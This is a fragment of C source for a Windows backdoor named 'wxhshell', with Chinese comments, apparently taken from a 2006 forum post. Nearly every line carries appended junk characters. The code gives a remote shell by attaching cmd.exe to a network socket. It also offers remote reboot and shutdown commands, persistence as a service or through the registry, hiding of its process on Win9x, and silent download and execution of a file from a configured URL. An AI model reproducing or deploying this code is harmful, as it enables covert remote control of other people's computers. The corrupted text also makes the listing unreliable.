    switch(cmd[0]) { C.~,qmOP  
  Vdtry @Q  
  // 帮助 N6>(;ugJ1-  
  case '?': { f) znTJL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N|1M1EBOu>  
    break; QU4h8}$  
  } wy yWyf  
  // 安装 QXL'^uO  
  case 'i': { h xSKG  
    if(Install()) :S.9eFfa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (XeE2l2M  
    else %Da8{%{`Pc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mx&&0#;r  
    break; t'VV>;-RO=  
    } YHkn2]^#A  
  // 卸载 n\QgOSr<  
  case 'r': { |h-QP#]/  
    if(Uninstall()) 0Z~p%C<LW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e7@ojOQ%  
    else 0vFD3}~>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FQm`~rA~zt  
    break; >go,K{cK6  
    } 7"aN#;&  
  // 显示 wxhshell 所在路径 4\y/'`xm)6  
  case 'p': { 2w59^"<,  
    char svExeFile[MAX_PATH]; mlixIW2  
    strcpy(svExeFile,"\n\r"); E7NV ^4h  
      strcat(svExeFile,ExeFile); }0eF~>Df  
        send(wsh,svExeFile,strlen(svExeFile),0); y6LWx:  
    break; lH-/L(h2  
    } Z9:-rcr  
  // 重启 ?$vCW|f  
  case 'b': { [ OM7g'?S0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rv &<{@AS~  
    if(Boot(REBOOT)) _hN\10ydY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`X2> -Ex  
    else { , 0imiv  
    closesocket(wsh); $@"l#vJPfc  
    ExitThread(0); 2-7IJ\  
    } yGWxpzmRS  
    break; @<&5J7fb  
    } j2ve^F:Q  
  // 关机 ~T9/#-e>BF  
  case 'd': { *;1,5L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ozAS[B6  
    if(Boot(SHUTDOWN)) '{E@*T /<.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hHN'w73z  
    else { &Nj3h(Ll  
    closesocket(wsh); @HQ`~C#Z'  
    ExitThread(0); )#P; x "  
    } 1>*#%R?W  
    break;  9XP o3;  
    } ~R_ztD+C(  
  // 获取shell ;-9=RI0  
  case 's': { $eD.W  
    CmdShell(wsh); qm./|#m>  
    closesocket(wsh); EKA#|^Q:NX  
    ExitThread(0); cVubb}ou  
    break; ,u!*2cWN  
  } G;&-\0>W  
  // 退出 1KMLG=  
  case 'x': { y&Mr=5:y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W{%TlN  
    CloseIt(wsh); )\_:{c  
    break; @{YS}&Q/  
    } `4(e  
  // 离开 #,7e NM"  
  case 'q': { g}f`,r9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C 'v+f=  
    closesocket(wsh); \Z]UA&v_  
    WSACleanup(); eAXc:222  
    exit(1); v\!Be[ ?  
    break; Y]NSN-t  
        } \]&#%6|V  
  } qDv93  
  } aa?w:3  
n1~o1  
  // 提示信息 xgpi-l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9^,Lc1"M>  
} CsTF  
  } 9;_sC  
1nQWW9i  
  return; \Kl+ 5%L  
} %ZNI:Uh  
XM1WfjE\  
// shell模块句柄 Z3{>yYR+  
int CmdShell(SOCKET sock) 7B b9 t  
{ vV[eWd.o6M  
STARTUPINFO si; lLp^Gt^}w(  
ZeroMemory(&si,sizeof(si)); q[HTnx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lL{ 5SH<Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t *1u[~=  
PROCESS_INFORMATION ProcessInfo; 5|l* `J)  
char cmdline[]="cmd"; e?opkq\f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IIg^FZ*]_  
  return 0; Q7R~{5r>W  
} ZT,B(#m  
OlAs'TE^  
// 自身启动模式 Q?3Gk%T0[  
int StartFromService(void) *"D3E7AO  
{ 5"HV BfFk  
typedef struct ?*E'^~,H)  
{ t"k*PA  
  DWORD ExitStatus; ?mWw@6G,  
  DWORD PebBaseAddress; q8^^H$<Db  
  DWORD AffinityMask; %F!1  
  DWORD BasePriority; #>%X_o-o23  
  ULONG UniqueProcessId; X=hYB}}nu  
  ULONG InheritedFromUniqueProcessId; BDq%'~/^  
}   PROCESS_BASIC_INFORMATION; Fb^:V4<T  
RnhL< Ywu  
PROCNTQSIP NtQueryInformationProcess; ,_yh z0.  
/x5rf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VCn{mp*h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; an|x$e7|?  
p8Q,@ql.  
  HANDLE             hProcess; HR ;)|j{!  
  PROCESS_BASIC_INFORMATION pbi; aCQ?fq  
>Y #t`6,!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3T"j)R_=l  
  if(NULL == hInst ) return 0; /h*>P:i].  
P^w#S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  AT9q3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T-5nB>)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f2^r[kPX"  
"NgxkbDEbG  
  if (!NtQueryInformationProcess) return 0; v=_6XF  
*Txl+zTY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !eEHmRgg4  
  if(!hProcess) return 0; |`lzfe  
3=Cc.a/3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oXxCXO,q  
HuwU0:*  
  CloseHandle(hProcess); 2_zp:v  
}RHn)}+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LUC4=kk4   
if(hProcess==NULL) return 0; ^j" .  
o'W5|Gy  
HMODULE hMod; QAvir%Y9Q  
char procName[255]; ]@uE #a:[  
unsigned long cbNeeded; |g #K]v  
^go7_y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4g : >[q  
5e$~)fL  
  CloseHandle(hProcess); F8;dKyT?q  
dl ~%MWAVb  
if(strstr(procName,"services")) return 1; // 以服务启动 ?gJy3@D  
7VMvF/ap]u  
  return 0; // 注册表启动 u86"Y ^d#  
} xKQ+{"?-^g  
{_S}H1,  
// 主模块 zipS ]YD  
int StartWxhshell(LPSTR lpCmdLine) A j2OkD  
{ ~ECD`N<YF  
  SOCKET wsl; r6&5 4f  
BOOL val=TRUE; ,Fi>p0bz  
  int port=0; HYD"#m'TkB  
  struct sockaddr_in door; >B2:kY F  
W Dg+J  
  if(wscfg.ws_autoins) Install(); 9(6I<]#  
>2,Gy-&"0  
port=atoi(lpCmdLine); }; f#^gz'  
!<SA6m#  
if(port<=0) port=wscfg.ws_port; 0&/b42W  
;PjQt=4K  
  WSADATA data; &2`Fn!m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q|8{@EMT  
M-[ $L XR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zf'TJ `S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q-c=nkN3  
  door.sin_family = AF_INET; DwrO JIy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y=?yhAw  
  door.sin_port = htons(port); 'UMXq~RMe  
wg0 \_@3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rMUT_^  
closesocket(wsl); xf b]b2  
return 1; L2, 1Kt7  
} z .Y$7bf)  
d)pV;6%[$q  
  if(listen(wsl,2) == INVALID_SOCKET) { QF&W`c  
closesocket(wsl); r=6v`)Qr  
return 1; Db6om7N  
} |\U5) ,m  
  Wxhshell(wsl); )l!3(  
  WSACleanup(); DqX{'jj  
u$-U*r  
return 0; s 1e:v+B]  
RLSc+kDH_  
} BRk0CLr5  
!OT-b>*w  
// 以NT服务方式启动 :dLAs@z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cIp D~0\  
{ wlEdt1G  
DWORD   status = 0; * 1Od-3  
  DWORD   specificError = 0xfffffff; uPRQU+  
Ay !G1;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *Mw_0Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CT1ja.\;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2AtLyN'.  
  serviceStatus.dwWin32ExitCode     = 0; 6%fKuMpK(  
  serviceStatus.dwServiceSpecificExitCode = 0; (4\d]*u5-c  
  serviceStatus.dwCheckPoint       = 0; QK+(g,)_86  
  serviceStatus.dwWaitHint       = 0; ed:@C?  
Z7RiPSdxp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m+#iR}*1L  
  if (hServiceStatusHandle==0) return; 1P(|[W1  
TOoQZTI  
status = GetLastError(); r\blyWi  
  if (status!=NO_ERROR) k%E2n:|*  
{ 04*6(L)h*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KID,|K  
    serviceStatus.dwCheckPoint       = 0; A0Zt8>w  
    serviceStatus.dwWaitHint       = 0; bzvh%RsW  
    serviceStatus.dwWin32ExitCode     = status; {'AWZ(  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;q:jl~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?gwUwOV"  
    return; !vk|<P1  
  } mWyqG*-Hb  
%~jkB.\* )  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <D::9c j  
  serviceStatus.dwCheckPoint       = 0; H_0/f8GwnG  
  serviceStatus.dwWaitHint       = 0; *FmTy|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8X I?  
} P(;?kg}0  
v$=QA:!U  
// 处理NT服务事件,比如:启动、停止 P0$e~=Q^4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,9P:Draxs`  
{ ixV0|P8,c  
switch(fdwControl) r YF #^  
{ i,|0@Vy  
case SERVICE_CONTROL_STOP: OQ,NOiNkap  
  serviceStatus.dwWin32ExitCode = 0; ?_v{| YI=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V13BB44  
  serviceStatus.dwCheckPoint   = 0; @c ~)W8  
  serviceStatus.dwWaitHint     = 0; RGK8'i/X  
  { Q6XRsFc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&k_=/X&  
  } r%e KFS  
  return; XfKo A0  
case SERVICE_CONTROL_PAUSE: V~ TWKuR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TO-nD>  
  break; ,:%"-`a%  
case SERVICE_CONTROL_CONTINUE: ) /v6l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >y}M.Mm  
  break; MCT'Nw@A  
case SERVICE_CONTROL_INTERROGATE: qVdwfT{1J  
  break; B}eA\O4}I  
}; UK{irU|\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F {B\kq8  
} +z9gbcx  
'}rRzD:  
// 标准应用程序主函数 t#S<iBAZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ay %KE=*v  
{ 1-Po Z[p-R  
7Su#Je]  
// 获取操作系统版本 *A~ G_0B  
OsIsNt=GetOsVer(); ;3 F"TH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >+mD$:L  
FVKW9"AyW  
  // 从命令行安装 8&Myva  
  if(strpbrk(lpCmdLine,"iI")) Install(); &bhq`>  
h1(j2S`:  
  // 下载执行文件 8v7 1e>  
if(wscfg.ws_downexe) { 93<:RV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LPwT^zV&N  
  WinExec(wscfg.ws_filenam,SW_HIDE); {>"NyY  
} n3lE, b  
XUF\r]B,9  
if(!OsIsNt) { ^0#; YOk  
// 如果时win9x,隐藏进程并且设置为注册表启动 z`Hy'{1  
HideProc(); )~V4+*<  
StartWxhshell(lpCmdLine); X{^}\,cVtG  
} ~Aq5X I%i  
else 720)VzT  
  if(StartFromService()) Pub0IIs  
  // 以服务方式启动 87WBM;$&s  
  StartServiceCtrlDispatcher(DispatchTable); (n1Bh~R^  
else = 0- $W5E  
  // 普通方式启动 U;n*j3wT  
  StartWxhshell(lpCmdLine); r|*&GHo L  
S2>c#BQ  
return 0; 5VO;s1  
}
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只看该作者 1 发表于: 2006-10-10
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